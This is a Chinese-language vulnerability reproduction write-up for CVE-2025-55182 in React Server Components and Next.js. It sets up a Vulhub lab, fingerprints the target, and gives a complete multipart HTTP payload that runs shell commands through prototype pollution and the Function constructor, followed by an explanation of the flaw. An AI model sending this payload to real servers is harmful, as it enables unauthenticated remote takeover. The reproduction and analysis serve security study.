本文记录了针对 CVE-2025-55182 的全流程复现,涵盖从 Vulhub 环境搭建到 Next.js 15+ 指纹探测,再到利用 Burp Suite 实现远程代码执行(RCE)的实战步骤。通过构造包含自引用占位符($@0)的 multipart 报文,攻击者可诱导 React 反序列化引擎激活恶意对象。
漏洞核心在于 Flight 协议 的对象恢复机制存在逻辑缺陷。攻击者通过伪造 resolved_model 状态绕过安全沙箱,结合 原型链污染 劫持 then 属性,最终定位并调用全局 Function 构造函数,使 _prefix 字段中的恶意指令在服务端触发执行。复现结果证实,未经身份验证的攻击者可利用此链条获取系统最高权限并实现命令回显。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2025-55182 | 10.0 | React 19.x 所有版本、Next.js 15.x(15.1.9 之前)和 16.x(16.0.7 之前) | 远程代码执行 (RCE) |
漏洞复现
复现环境准备
使用vulhub快速搭建漏洞环境:
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/react/CVE-2025-55182
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
aade3a95dd4c vulhub/nextjs:15.5.6 "docker-entrypoint.s…" 3 minutes ago Up 3 minutes 0.0.0.0:3000->3000/tcp, :::3000->3000/tcp cve-2025-55182-web-1
环境启动后访问http://target-IP:3000/ 可以看到程序正常运行。

目标探测
端口扫描与服务识别
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP
# 扫描结果
PORT STATE SERVICE VERSION
3000/tcp open ppp?
| fingerprint-strings:
| DNSVersionBindReqTCP, Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 200 OK
| Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
| x-nextjs-cache: HIT
...
| X-Powered-By: Next.js
...
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
MAC Address: 00:0C:29:B3:23:74 (VMware)
从 Nmap 扫描结果来看,目标环境几乎可以确定就是 CVE-2025-55182 (React2Shell) 的典型靶机环境。
扫描结果中的几个关键指纹已经确认了目标:
- 服务:
X-Powered-By: Next.js,运行在端口 3000。 - 关键响应头:
Vary: rsc, next-router-state-tree...这是 Next.js 15+ 使用 React Server Components (RSC) 的典型特征。 - 缓存特征:
x-nextjs-cache: HIT,说明应用处于生产模式或高级缓存模式,符合该漏洞触发的上下文。
攻击过程
确认漏洞指纹
使用 curl 尝试获取一个 RSC 数据包,观察服务器是否处理:
┌──(root㉿kali)-[~]
└─$ curl -H "RSC: 1" -H "Next-Router-State-Tree: 1" http://192.168.31.148:3000/ -i
HTTP/1.1 200 OK
...
1:"$Sreact.fragment"
2:I[9766,[],""]
3:I[8924,[],""]
a:I[7150,[],""]
...
返回内容包含大量的 1:I{...} 这种 Flight 协议格式的数据,说明 RSC 解析逻辑开启,漏洞利用基础存在。
漏洞验证
我们可以尝试触发一个原型链污染导致的 500 错误。使用 Python 发送一个带有恶意序列化对象的 POST 请求:
import requests
url = "http://192.168.31.148:3000/"
headers = {
"Next-Action": "12345", # 随意填写的 Action ID
"Content-Type": "multipart/form-data; boundary=----ExploitBoundary"
}
# 构造恶意 Flight 协议数据块,尝试污染 then 属性
data = (
"------ExploitBoundary\r\n"
'Content-Disposition: form-data; name="1"\r\n\r\n'
'{"$@1": {"then": "polluted"}}\r\n'
"------ExploitBoundary--\r\n"
)
r = requests.post(url, headers=headers, data=data)
print(f"Status Code: {r.status_code}")
如果返回 500 或 出现 Internal Server Error,说明反序列化逻辑被成功干扰。
漏洞利用
使用 Burpsuite 发送如下数据包:
POST / HTTP/1.1
Host: 192.168.31.148:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 758
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
发送请求后,在响应头的x-action-redirect字段中可以看到id命令的执行结果:

漏洞核心原理
CVE-2025-55182 的核心原理在于 React Server Components (RSC) 传输协议(Flight 协议)在对象恢复阶段的安全验证逻辑存在结构性缺陷。
Flight 协议为了实现复杂对象的序列化,支持一种基于索引的引用机制。攻击者通过构造多段 multipart/form-data 报文,在首个数据段中定义一个带有恶意属性的 JSON 对象,并在后续数据段中使用 $@0 这种“自引用”占位符。这种操作会强制 React 的反序列化引擎在未经过滤的情况下重新激活(Revive)处于内存中的首个对象。
利用的关键在于伪造对象的内部状态。通过注入 status: "resolved_model",攻击者能够欺骗 React 解析器绕过常规的类型检查沙箱。在 React 的内部逻辑中,一旦对象被标记为已解析(Resolved),解析器就会被允许访问该对象的私有属性空间,即 _response 对象。
此时,攻击者通过精密的引用路径实现原型链污染(Prototype Pollution)。Payload 利用 __proto__ 将对象的 then 属性重定向,使得当 React 尝试异步处理这个伪造模型时,会自动触发这个被劫持的属性。与此同时,利用 _formData 字段下的 get 属性,通过 constructor:constructor 这种递归引用,攻击者可以在内存中定位并获取 Node.js 环境下的全局 Function 构造函数。
最终的执行阶段依赖于 _response 对象中的 _prefix 字段。由于之前的逻辑劫持已经获取了 Function 构造函数的控制权,_prefix 中存储的攻击字符串(如系统命令执行代码)会被直接作为函数体注入并激活。由于整个过程发生在服务器端的反序列化上下文中,攻击者无需任何身份验证即可实现远程代码执行。